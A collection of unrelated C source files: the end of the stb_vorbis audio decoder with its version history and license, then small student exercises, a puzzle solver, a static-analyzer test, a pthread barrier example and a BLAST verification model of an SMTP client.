#ifndef STB_VORBIS_NO_FAST_SCALED_FLOAT
typedef union {
float f;
int i;
} float_conv;
typedef char stb_vorbis_float_size_test[sizeof(float)==4 && sizeof(int) == 4];
#define FASTDEF(x) float_conv x
// add (1<<23) to convert to int, then divide by 2^SHIFT, then add 0.5/2^SHIFT to round
#define MAGIC(SHIFT) (1.5f * (1 << (23-SHIFT)) + 0.5f/(1 << SHIFT))
#define ADDEND(SHIFT) (((150-SHIFT) << 23) + (1 << 22))
#define FAST_SCALED_FLOAT_TO_INT(temp,x,s) (temp.f = (x) + MAGIC(s), temp.i - ADDEND(s))
#define check_endianness()
#else
#define FAST_SCALED_FLOAT_TO_INT(temp,x,s) ((int) ((x) * (1 << (s))))
#define check_endianness()
#define FASTDEF(x)
#endif
static void copy_samples(short *dest, float *src, int len)
{
int i;
check_endianness();
for (i=0; i < len; ++i) {
FASTDEF(temp);
int v = FAST_SCALED_FLOAT_TO_INT(temp, src[i],15);
if ((unsigned int) (v + 32768) > 65535)
v = v < 0 ? -32768 : 32767;
dest[i] = v;
}
}
static void compute_samples(int mask, short *output, int num_c, float **data, int d_offset, int len)
{
#define BUFFER_SIZE 32
float buffer[BUFFER_SIZE];
int i,j,o,n = BUFFER_SIZE;
check_endianness();
for (o = 0; o < len; o += BUFFER_SIZE) {
memset(buffer, 0, sizeof(buffer));
if (o + n > len) n = len - o;
for (j=0; j < num_c; ++j) {
if (channel_position[num_c][j] & mask) {
for (i=0; i < n; ++i)
buffer[i] += data[j][d_offset+o+i];
}
}
for (i=0; i < n; ++i) {
FASTDEF(temp);
int v = FAST_SCALED_FLOAT_TO_INT(temp,buffer[i],15);
if ((unsigned int) (v + 32768) > 65535)
v = v < 0 ? -32768 : 32767;
output[o+i] = v;
}
}
}
static void compute_stereo_samples(short *output, int num_c, float **data, int d_offset, int len)
{
#define BUFFER_SIZE 32
float buffer[BUFFER_SIZE];
int i,j,o,n = BUFFER_SIZE >> 1;
// o is the offset in the source data
check_endianness();
for (o = 0; o < len; o += BUFFER_SIZE >> 1) {
// o2 is the offset in the output data
int o2 = o << 1;
memset(buffer, 0, sizeof(buffer));
if (o + n > len) n = len - o;
for (j=0; j < num_c; ++j) {
int m = channel_position[num_c][j] & (PLAYBACK_LEFT | PLAYBACK_RIGHT);
if (m == (PLAYBACK_LEFT | PLAYBACK_RIGHT)) {
for (i=0; i < n; ++i) {
buffer[i*2+0] += data[j][d_offset+o+i];
buffer[i*2+1] += data[j][d_offset+o+i];
}
} else if (m == PLAYBACK_LEFT) {
for (i=0; i < n; ++i) {
buffer[i*2+0] += data[j][d_offset+o+i];
}
} else if (m == PLAYBACK_RIGHT) {
for (i=0; i < n; ++i) {
buffer[i*2+1] += data[j][d_offset+o+i];
}
}
}
for (i=0; i < (n<<1); ++i) {
FASTDEF(temp);
int v = FAST_SCALED_FLOAT_TO_INT(temp,buffer[i],15);
if ((unsigned int) (v + 32768) > 65535)
v = v < 0 ? -32768 : 32767;
output[o2+i] = v;
}
}
}
static void convert_samples_short(int buf_c, short **buffer, int b_offset, int data_c, float **data, int d_offset, int samples)
{
int i;
if (buf_c != data_c && buf_c <= 2 && data_c <= 6) {
static int channel_selector[3][2] = { {0}, {PLAYBACK_MONO}, {PLAYBACK_LEFT, PLAYBACK_RIGHT} };
for (i=0; i < buf_c; ++i)
compute_samples(channel_selector[buf_c][i], buffer[i]+b_offset, data_c, data, d_offset, samples);
} else {
int limit = buf_c < data_c ? buf_c : data_c;
for (i=0; i < limit; ++i)
copy_samples(buffer[i]+b_offset, data[i]+d_offset, samples);
for ( ; i < buf_c; ++i)
memset(buffer[i]+b_offset, 0, sizeof(short) * samples);
}
}
int stb_vorbis_get_frame_short(stb_vorbis *f, int num_c, short **buffer, int num_samples)
{
float **output = NULL;
int len = stb_vorbis_get_frame_float(f, NULL, &output);
if (len > num_samples) len = num_samples;
if (len)
convert_samples_short(num_c, buffer, 0, f->channels, output, 0, len);
return len;
}
static void convert_channels_short_interleaved(int buf_c, short *buffer, int data_c, float **data, int d_offset, int len)
{
int i;
check_endianness();
if (buf_c != data_c && buf_c <= 2 && data_c <= 6) {
assert(buf_c == 2);
for (i=0; i < buf_c; ++i)
compute_stereo_samples(buffer, data_c, data, d_offset, len);
} else {
int limit = buf_c < data_c ? buf_c : data_c;
int j;
for (j=0; j < len; ++j) {
for (i=0; i < limit; ++i) {
FASTDEF(temp);
float f = data[i][d_offset+j];
int v = FAST_SCALED_FLOAT_TO_INT(temp, f,15);//data[i][d_offset+j],15);
if ((unsigned int) (v + 32768) > 65535)
v = v < 0 ? -32768 : 32767;
*buffer++ = v;
}
for ( ; i < buf_c; ++i)
*buffer++ = 0;
}
}
}
int stb_vorbis_get_frame_short_interleaved(stb_vorbis *f, int num_c, short *buffer, int num_shorts)
{
float **output;
int len;
if (num_c == 1) return stb_vorbis_get_frame_short(f,num_c,&buffer, num_shorts);
len = stb_vorbis_get_frame_float(f, NULL, &output);
if (len) {
if (len*num_c > num_shorts) len = num_shorts / num_c;
convert_channels_short_interleaved(num_c, buffer, f->channels, output, 0, len);
}
return len;
}
int stb_vorbis_get_samples_short_interleaved(stb_vorbis *f, int channels, short *buffer, int num_shorts)
{
float **outputs;
int len = num_shorts / channels;
int n=0;
int z = f->channels;
if (z > channels) z = channels;
while (n < len) {
int k = f->channel_buffer_end - f->channel_buffer_start;
if (n+k >= len) k = len - n;
if (k)
convert_channels_short_interleaved(channels, buffer, f->channels, f->channel_buffers, f->channel_buffer_start, k);
buffer += k*channels;
n += k;
f->channel_buffer_start += k;
if (n == len) break;
if (!stb_vorbis_get_frame_float(f, NULL, &outputs)) break;
}
return n;
}
int stb_vorbis_get_samples_short(stb_vorbis *f, int channels, short **buffer, int len)
{
float **outputs;
int n=0;
int z = f->channels;
if (z > channels) z = channels;
while (n < len) {
int k = f->channel_buffer_end - f->channel_buffer_start;
if (n+k >= len) k = len - n;
if (k)
convert_samples_short(channels, buffer, n, f->channels, f->channel_buffers, f->channel_buffer_start, k);
n += k;
f->channel_buffer_start += k;
if (n == len) break;
if (!stb_vorbis_get_frame_float(f, NULL, &outputs)) break;
}
return n;
}
#ifndef STB_VORBIS_NO_STDIO
int stb_vorbis_decode_filename(const char *filename, int *channels, int *sample_rate, short **output)
{
int data_len, offset, total, limit, error;
short *data;
stb_vorbis *v = stb_vorbis_open_filename(filename, &error, NULL);
if (v == NULL) return -1;
limit = v->channels * 4096;
*channels = v->channels;
if (sample_rate)
*sample_rate = v->sample_rate;
offset = data_len = 0;
total = limit;
data = (short *) malloc(total * sizeof(*data));
if (data == NULL) {
stb_vorbis_close(v);
return -2;
}
for (;;) {
int n = stb_vorbis_get_frame_short_interleaved(v, v->channels, data+offset, total-offset);
if (n == 0) break;
data_len += n;
offset += n * v->channels;
if (offset + limit > total) {
short *data2;
total *= 2;
data2 = (short *) realloc(data, total * sizeof(*data));
if (data2 == NULL) {
free(data);
stb_vorbis_close(v);
return -2;
}
data = data2;
}
}
*output = data;
stb_vorbis_close(v);
return data_len;
}
#endif // NO_STDIO
int stb_vorbis_decode_memory(const uint8 *mem, int len, int *channels, int *sample_rate, short **output)
{
int data_len, offset, total, limit, error;
short *data;
stb_vorbis *v = stb_vorbis_open_memory(mem, len, &error, NULL);
if (v == NULL) return -1;
limit = v->channels * 4096;
*channels = v->channels;
if (sample_rate)
*sample_rate = v->sample_rate;
offset = data_len = 0;
total = limit;
data = (short *) malloc(total * sizeof(*data));
if (data == NULL) {
stb_vorbis_close(v);
return -2;
}
for (;;) {
int n = stb_vorbis_get_frame_short_interleaved(v, v->channels, data+offset, total-offset);
if (n == 0) break;
data_len += n;
offset += n * v->channels;
if (offset + limit > total) {
short *data2;
total *= 2;
data2 = (short *) realloc(data, total * sizeof(*data));
if (data2 == NULL) {
free(data);
stb_vorbis_close(v);
return -2;
}
data = data2;
}
}
*output = data;
stb_vorbis_close(v);
return data_len;
}
#endif // STB_VORBIS_NO_INTEGER_CONVERSION
int stb_vorbis_get_samples_float_interleaved(stb_vorbis *f, int channels, float *buffer, int num_floats)
{
float **outputs;
int len = num_floats / channels;
int n=0;
int z = f->channels;
if (z > channels) z = channels;
while (n < len) {
int i,j;
int k = f->channel_buffer_end - f->channel_buffer_start;
if (n+k >= len) k = len - n;
for (j=0; j < k; ++j) {
for (i=0; i < z; ++i)
*buffer++ = f->channel_buffers[i][f->channel_buffer_start+j];
for ( ; i < channels; ++i)
*buffer++ = 0;
}
n += k;
f->channel_buffer_start += k;
if (n == len)
break;
if (!stb_vorbis_get_frame_float(f, NULL, &outputs))
break;
}
return n;
}
int stb_vorbis_get_samples_float(stb_vorbis *f, int channels, float **buffer, int num_samples)
{
float **outputs;
int n=0;
int z = f->channels;
if (z > channels) z = channels;
while (n < num_samples) {
int i;
int k = f->channel_buffer_end - f->channel_buffer_start;
if (n+k >= num_samples) k = num_samples - n;
if (k) {
for (i=0; i < z; ++i)
memcpy(buffer[i]+n, f->channel_buffers[i]+f->channel_buffer_start, sizeof(float)*k);
for ( ; i < channels; ++i)
memset(buffer[i]+n, 0, sizeof(float) * k);
}
n += k;
f->channel_buffer_start += k;
if (n == num_samples)
break;
if (!stb_vorbis_get_frame_float(f, NULL, &outputs))
break;
}
return n;
}
#endif // STB_VORBIS_NO_PULLDATA_API
/* Version history
1.17 - 2019-07-08 - fix CVE-2019-13217, -13218, -13219, -13220, -13221, -13222, -13223
found with Mayhem by ForAllSecure
1.16 - 2019-03-04 - fix warnings
1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found
1.14 - 2018-02-11 - delete bogus dealloca usage
1.13 - 2018-01-29 - fix truncation of last frame (hopefully)
1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files
1.11 - 2017-07-23 - fix MinGW compilation
1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open_memory
1.09 - 2016-04-04 - back out 'avoid discarding last frame' fix from previous version
1.08 - 2016-04-02 - fixed multiple warnings; fix setup memory leaks;
avoid discarding last frame of audio data
1.07 - 2015-01-16 - fixed some warnings, fix mingw, const-correct API
some more crash fixes when out of memory or with corrupt files
1.06 - 2015-08-31 - full, correct support for seeking API (Dougall Johnson)
some crash fixes when out of memory or with corrupt files
1.05 - 2015-04-19 - don't define __forceinline if it's redundant
1.04 - 2014-08-27 - fix missing const-correct case in API
1.03 - 2014-08-07 - Warning fixes
1.02 - 2014-07-09 - Declare qsort compare function _cdecl on windows
1.01 - 2014-06-18 - fix stb_vorbis_get_samples_float
1.0 - 2014-05-26 - fix memory leaks; fix warnings; fix bugs in multichannel
(API change) report sample rate for decode-full-file funcs
0.99996 - bracket #include <malloc.h> for macintosh compilation by Laurent Gomila
0.99995 - use union instead of pointer-cast for fast-float-to-int to avoid alias-optimization problem
0.99994 - change fast-float-to-int to work in single-precision FPU mode, remove endian-dependence
0.99993 - remove assert that fired on legal files with empty tables
0.99992 - rewind-to-start
0.99991 - bugfix to stb_vorbis_get_samples_short by Bernhard Wodo
0.9999 - (should have been 0.99990) fix no-CRT support, compiling as C++
0.9998 - add a full-decode function with a memory source
0.9997 - fix a bug in the read-from-FILE case in 0.9996 addition
0.9996 - query length of vorbis stream in samples/seconds
0.9995 - bugfix to another optimization that only happened in certain files
0.9994 - bugfix to one of the optimizations that caused significant (but inaudible?) errors
0.9993 - performance improvements; runs in 99% to 104% of time of reference implementation
0.9992 - performance improvement of IMDCT; now performs close to reference implementation
0.9991 - performance improvement of IMDCT
0.999 - (should have been 0.9990) performance improvement of IMDCT
0.998 - no-CRT support from Casey Muratori
0.997 - bugfixes for bugs found by Terje Mathisen
0.996 - bugfix: fast-huffman decode initialized incorrectly for sparse codebooks; fixing gives 10% speedup - found by Terje Mathisen
0.995 - bugfix: fix to 'effective' overrun detection - found by Terje Mathisen
0.994 - bugfix: garbage decode on final VQ symbol of a non-multiple - found by Terje Mathisen
0.993 - bugfix: pushdata API required 1 extra byte for empty page (failed to consume final page if empty) - found by Terje Mathisen
0.992 - fixes for MinGW warning
0.991 - turn fast-float-conversion on by default
0.990 - fix push-mode seek recovery if you seek into the headers
0.98b - fix to bad release of 0.98
0.98 - fix push-mode seek recovery; robustify float-to-int and support non-fast mode
0.97 - builds under c++ (typecasting, don't use 'class' keyword)
0.96 - somehow MY 0.95 was right, but the web one was wrong, so here's my 0.95 rereleased as 0.96, fixes a typo in the clamping code
0.95 - clamping code for 16-bit functions
0.94 - not publically released
0.93 - fixed all-zero-floor case (was decoding garbage)
0.92 - fixed a memory leak
0.91 - conditional compiles to omit parts of the API and the infrastructure to support them: STB_VORBIS_NO_PULLDATA_API, STB_VORBIS_NO_PUSHDATA_API, STB_VORBIS_NO_STDIO, STB_VORBIS_NO_INTEGER_CONVERSION
0.90 - first public release
*/
#endif // STB_VORBIS_HEADER_ONLY
/*
------------------------------------------------------------------------------
This software is available under 2 licenses -- choose whichever you prefer.
------------------------------------------------------------------------------
ALTERNATIVE A - MIT License
Copyright (c) 2017 Sean Barrett
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
ALTERNATIVE B - Public Domain (www.unlicense.org)
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
software, either in source code form or as a compiled binary, for any purpose,
commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this
software dedicate any and all copyright interest in the software to the public
domain. We make this dedication for the benefit of the public at large and to
the detriment of our heirs and successors. We intend this dedication to be an
overt act of relinquishment in perpetuity of all present and future rights to
this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
------------------------------------------------------------------------------
*/
|
the_stack_data/151418.c | /**
* @file main.c
* @author Rodriguez Guido Ezequiel ([email protected])
* @Note Padron 108723
* @version 1.0
* @date 2021-11-5
*
* @copyright Copyright (c) 2021
*
*/
#include <assert.h>
#include <ctype.h>
#include <math.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_EJERCICIO 3
#if N_EJERCICIO == 1
#define MAX_CADENA 10
typedef struct {
char nombre[MAX_CADENA];
unsigned int padron;
float promedio;
} alumno_t;
bool alumno_son_iguales(const alumno_t *a, const alumno_t *b) {
return strcmp(a->nombre, b->nombre) == 0 && a->padron == b->padron && a->promedio == b->promedio;
}
int main(void) {
alumno_t a1 = {.nombre = "Ezequiel", .padron = 108723, .promedio = 8.5};
alumno_t a2 = {.nombre = "Pepe", .padron = 101723, .promedio = 1.5};
printf("%s\n", alumno_son_iguales(&a1, &a2) ? "Son iguales" : "No son iguales");
printf("%s\n", alumno_son_iguales(&a1, &a1) ? "Son iguales" : "No son iguales");
return 0;
}
#elif N_EJERCICIO == 2
typedef struct {
float *v;
size_t n;
} vector_t;
vector_t *vector_crear(const float vals[], size_t n) {
vector_t *v = malloc(sizeof(vector_t));
if (v == NULL)
return NULL;
v->v = malloc(n * sizeof(float));
if (v->v == NULL) {
free(v);
return NULL;
}
for (size_t i = 0; i < n; i++) {
v->v[i] = vals[i];
}
v->n = n;
return v;
}
void vector_destruir(vector_t *v) {
free(v->v);
free(v);
}
int main(void) {
float vals[] = {1.0, 2.0, 3.0, 4.0, 5.0};
vector_t *v = vector_crear(vals, 5);
printf("%f\n", v->v[0]);
printf("%f\n", v->v[1]);
printf("%f\n", v->v[2]);
printf("%f\n", v->v[3]);
printf("%f\n", v->v[4]);
vector_destruir(v);
return 0;
}
#elif N_EJERCICIO == 3
bool leer_enteros(int **pv, size_t *n) {
int *v = NULL;
size_t n_v = 0;
char buffer[100];
while (fgets(buffer, 100, stdin) != NULL) {
int *v_aux = realloc(v, sizeof(int *) * (n_v + 1));
if (v_aux == NULL) {
return false;
}
v = v_aux;
v[n_v++] = atoi(buffer);
}
*pv = v;
*n = n_v;
return true;
}
int main(void) {
int *v = NULL;
size_t n = 0;
printf("Ingrese numeros enteros\n");
if (!leer_enteros(&v, &n)) {
fprintf(stderr, "Error al leer la entrada");
return 1;
}
printf("Enteros leidos\n");
for (size_t i = 0; i < n; i++)
printf("%d\n", v[i]);
free(v);
return 0;
}
#endif
|
the_stack_data/30863.c | #include<stdio.h>
void main(){
int i,j,k,l,n;
printf("Enter No. of Rows: ");
scanf("%d",&n);
//for row no
for(i=1;i<=n;i++){
//for spaces
for(j=(n-i);j>=0;j--){
printf(" ");
}
//for no. gradation
for(l=i;l<=((2*i)-1);l++){
printf("%d",l);
}
//for no. downgradation
for(l=((2*i)-2);l>=i;l--){
printf("%d",l);
}
printf("\n");
}
}
|
the_stack_data/474650.c | #include <stdio.h>
int count( char *string ){
int length = 0;
while( string[length] != '\0' ){
length++;
}
return length;
}
int main(){
printf("%d\n", count("Lorhan"));
printf("%d\n", count("Kondo"));
printf("%d\n", count("123"));
return 0;
}
|
the_stack_data/192331229.c | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
int lineCount = 0;
int waitMulLine(int earliesDep, char* buf) {
int lineMin = 0, waitMin;
while (buf != 0 && *buf != 0) {
if (*buf == 'x' || *buf == 10) { // 10 for skipping newlines
buf++; // no x at end
} else {
int line = strtol(buf, &buf, 0);
int wait = line - (earliesDep % line);
if (lineMin == 0 || wait < waitMin) {
lineMin = line;
waitMin = wait;
}
}
lineCount++;
if (*buf == ',') {
buf++;
}
}
return lineMin * waitMin;
}
uint64_t waitTime(uint64_t dep, uint64_t line) {
return line - (dep % line);
}
uint64_t earliestTimestamp(int earliesDep, char* buf) {
uint64_t lines[lineCount]; // double parse because of dynamic length
int i = 0;
while (buf != 0 && *buf != 0) {
if (*buf == 'x') { // 10 for skipping newlines
buf++; // no x at end
lines[i++] = 0;
} else {
if (i < lineCount) {
lines[i++] = strtol(buf, &buf, 0);
}
}
if (*buf == ',' || *buf == 10) {
buf++;
}
}
uint64_t time = 0;
uint64_t addTime = lines[0];
//uint64_t last = 0;
int lcmCalced = 0;
while (1) {
bool valid = true;
for (uint64_t i = 1; i < lineCount; i++) {
if (lines[i] > 0) {
if (waitTime(time, lines[i]) != i % lines[i]) { // % is important
valid = false;
break;
} else {
if (i > lcmCalced) {
lcmCalced = i;
addTime *= lines[i];
//printf("%llu %llu %llu\n", time, lines[i], time-last);
}
}
}
}
if (valid) {
return time;
}
time += addTime;
} while (1);
return time;
}
int main(void) {
FILE* f = fopen("input13.txt", "r");
if (f != NULL) {
char buf[256];
int earliesDeparture;
if (fgets(buf, sizeof buf, f) != NULL) {
earliesDeparture = strtol(buf, 0, 0);
}
if (fgets(buf, sizeof buf, f) != NULL) {
printf("waittime * busline = %d\n",
waitMulLine(earliesDeparture, buf));
printf("earliest timestall for all busses = %llu\n",
earliestTimestamp(earliesDeparture, buf));
}
fclose(f);
}
return 0;
}
|
the_stack_data/32530.c | // RUN: %crabllvm -O0 --crab-inter --crab-dom=int --crab-track=arr --crab-check=assert "%s" 2>&1 | OutputCheck %s
// CHECK: ^1 Number of total error checks$
// CHECK: ^0 Number of total warning checks$
extern int nd ();
extern void __CRAB_assert(int);
int x = 5;
int y = 3;
void foo ()
{
x++;
}
void bar ()
{
y++;
}
int a[10];
int main ()
{
int i;
foo ();
for (i=0;i<10;i++)
{
if (nd ())
a[i] =y;
else
a[i] =x;
}
bar ();
int res = a[i-1];
__CRAB_assert(res >= 7);
return res;
}
|
the_stack_data/15276.c | // File name: ExtremeC_examples_chapter16_1_barrier.c
// Description: This example demonstrates how to use barriers
// to synchronize two threads.
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
// The barrier object
pthread_barrier_t barrier;
void* thread_body_1(void* arg) {
printf("A\n");
// Wait for the other thread to join
pthread_barrier_wait(&barrier);
return NULL;
}
void* thread_body_2(void* arg) {
// Wait for the other thread to join
pthread_barrier_wait(&barrier);
printf("B\n");
return NULL;
}
int main(int argc, char** argv) {
// Initialize the barrier object
pthread_barrier_init(&barrier, NULL, 2);
// The thread handlers
pthread_t thread1;
pthread_t thread2;
// Create new threads
int result1 = pthread_create(&thread1, NULL,
thread_body_1, NULL);
int result2 = pthread_create(&thread2, NULL,
thread_body_2, NULL);
if (result1 || result2) {
printf("The threads could not be created.\n");
exit(1);
}
// Wait for the threads to finish
result1 = pthread_join(thread1, NULL);
result2 = pthread_join(thread2, NULL);
if (result1 || result2) {
printf("The threads could not be joined.\n");
exit(2);
}
// Destroy the barrier object
pthread_barrier_destroy(&barrier);
return 0;
}
|
the_stack_data/12638842.c | #include <threads.h>
#include <pthread.h>
int mtx_unlock(mtx_t *mtx)
{
/* The only cases where pthread_mutex_unlock can return an
* error are undefined behavior for C11 mtx_unlock, so we can
* assume it does not return an error and simply tail call. */
return pthread_mutex_unlock((pthread_mutex_t *)mtx);
}
|
the_stack_data/292468.c | #include <stdlib.h>
struct Pilha{
int posicaoTopo;
int capacidade;
int *proximoElemento;
};
void criarPilha(struct Pilha *endPilha, int capacidadeDesejada) {
endPilha -> posicaoTopo = -1;
endPilha -> capacidade = capacidadeDesejada;
endPilha -> proximoElemento = malloc (capacidadeDesejada * sizeof(int));
}
int main() {
struct Pilha meusLivros;
criarPilha(&meusLivros, 5);
return 0;
} |
the_stack_data/75137531.c | #include <stdlib.h>
#include <stdio.h>
int main(int argc, char** argv) {
printf("hello world");
char ch = getchar();
return 0;
} |
the_stack_data/73575365.c | /******************************************/
/*********** TYPES *************/
/******************************************/
typedef int boolean;
typedef int exception;
exception EXC_PARSER = 6;
exception EXC_NOSUCHAUTH = 5;
exception EXC_AUTH = 4;
exception EXC_SOCKET = 3;
exception EXC_IO = 2;
exception EXC_SMTP = 1;
exception EXC_NO = 0;
/******************************************/
/*********** OTRAS DEFS *************/
/******************************************/
int __BLAST_NONDET;
void sendCommand(char* command, exception* EXCEPTION);
void readSingleLineResponse(exception* EXCEPTION);
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is Ristretto Mail API.
*
* The Initial Developers of the Original Code are
* Timo Stich and Frederik Dietz.
* Portions created by the Initial Developers are Copyright (C) 2004
* All Rights Reserved.
*
* Contributor(s):
*
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
*
* ***** END LICENSE BLOCK ***** */
/******************************************/
/*********** Constants *************/
/******************************************/
/** JDK 1.4+ logging framework logger, used for logging. */
// private static final Logger LOG = Logger.getLogger("org.columba.ristretto.smtp");
/*private static final*/
//char[] STOPWORD = { '\r', '\n', '.', '\r', '\n' };
/*private static final*/
//int DEFAULTPORT = 25;
/**
* @deprecated Use NOT_CONNECTED instead
*/
/*public static final*/
//int NO_CONNECTION = 0;
/**
* Protocol states.
*/
/*public static final*/
int NOT_CONNECTED = 0;
/*public static final*/
int PLAIN = 1;
/*public static final*/
int AUTHORIZED = 2;
/**
* Address types.
*/
/*public static final*/
//int TO = 0;
/*public static final*/
//int CC = 1;
/******************************************/
/*********** Fields *************/
/******************************************/
/*private*/
//char* host;
/*private*/
int port;
/*private*/
//Socket socket;
/*protected*/
//SMTPInputStream in;
/*protected*/
//OutputStream out;
/*private*/
int state;
/******************************************/
/*********** Constructors *************/
/******************************************/
/**
* Constructs the SMTPProtocol.
*
* @param host
* the sever name to connect to
* @param port
* the port to connect to
*/
/*public*/ void SMTPProtocol(char* host_p, int port_p) {
//host = host_p;
port = port_p;
state = NOT_CONNECTED;
}
/**
* Constructs the SMTPProtocol. Uses the default port 25 to connect to the
* server.
*
* @param host
* the sever name to connect to
*/
/*public*/ //void SMTPProtocol2(char* host_p) {
// SMTPProtocol1(host_p, DEFAULTPORT);
//}
/******************************************/
/*********** Public methods *************/
/******************************************/
/**
* Opens the connection to the SMTP server.
*
* @return the domain name of the server
* @throws IOException
* @throws SMTPException
*/
/*public String*/
void openPort(exception* EXCEPTION) /*throws IOException, SMTPException*/ {
// try {
//socket = new Socket(host, port);
//socket.setSoTimeout(RistrettoConfig.getInstance().getTimeout());
if (__BLAST_NONDET) {
*EXCEPTION = EXC_IO;
goto CATCH_openPort;
}
//createStreams();
if (__BLAST_NONDET) {
if (__BLAST_NONDET)
*EXCEPTION = EXC_IO;
else
*EXCEPTION = EXC_SOCKET;
goto CATCH_openPort;
}
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_openPort;
if (__BLAST_NONDET) { // response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response.getMessage());
goto CATCH_openPort;
}
//String domain = response.getDomain();
// don't care what the server has to say here.
if (__BLAST_NONDET) { //response.isHasSuccessor()) {
//response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_openPort;
while (__BLAST_NONDET) { //response.isHasSuccessor() && response.isOK()) {
//response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_openPort;
}
}
state = PLAIN;
return; // domain;
// } catch (SocketException e) {
CATCH_openPort:
if (*EXCEPTION == EXC_SOCKET) {
//e.printStackTrace();
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED) {
// throw e;
return;
} else {
*EXCEPTION = EXC_NO;
return; // return "";
}
}
//}
}
/**
* Switches to a SSL connection using the TLS extension.
*
* @throws IOException
* @throws SSLException
* @throws SMTPException
*/
//public
void startTLS(exception* EXCEPTION) { //throws IOException, SSLException, SMTPException {
// try {
*EXCEPTION = EXC_NO;
sendCommand("STARTTLS", EXCEPTION); //, null);
if (*EXCEPTION != EXC_NO)
goto CATCH_startTLS;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_startTLS;
if (__BLAST_NONDET) {//response.isERR()) {
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response.getMessage());
goto CATCH_startTLS;
}
// socket = RistrettoSSLSocketFactory.getInstance().createSocket(socket, host, port, true);
if (__BLAST_NONDET) {
*EXCEPTION = EXC_IO;
goto CATCH_startTLS;
}
// handshake (which cyper algorithms are used?)
// ((SSLSocket) socket).startHandshake();
if (__BLAST_NONDET) {
*EXCEPTION = EXC_IO;
goto CATCH_startTLS;
}
//createStreams();
if (__BLAST_NONDET) {
if (__BLAST_NONDET)
*EXCEPTION = EXC_IO;
else
*EXCEPTION = EXC_SOCKET;
goto CATCH_startTLS;
}
return;
// } catch (SocketException e) {
CATCH_startTLS:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED) {
// throw e;
return;
} else {
*EXCEPTION = EXC_NO;
return;
}
}
// }
}
boolean spre_ehlo() {
return state >= PLAIN;
}
/**
* Sends the EHLO command to the server. This command can be used to fetch
* the capabilities of the server. <br>
* Note: Only ESMTP servers understand this comand.
*
* @see #helo(InetAddress)
*
* @param domain
* the domain name of the client
* @return the capabilities of the server
* @throws IOException
* @throws SMTPException
*/
//public String[]
void ehlo(exception* EXCEPTION) { // InetAddress domain) throws IOException, SMTPException {
//ensureState(PLAIN);
//try {
//LinkedList capas = new LinkedList();
//String ipaddress = domain.getHostAddress();
*EXCEPTION = EXC_NO;
sendCommand("EHLO", EXCEPTION); //, new String[] { "[" + ipaddress + "]" });
if (*EXCEPTION != EXC_NO)
goto CATCH_ehlo;
// First response should be the greeting or a EHLO not supported
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
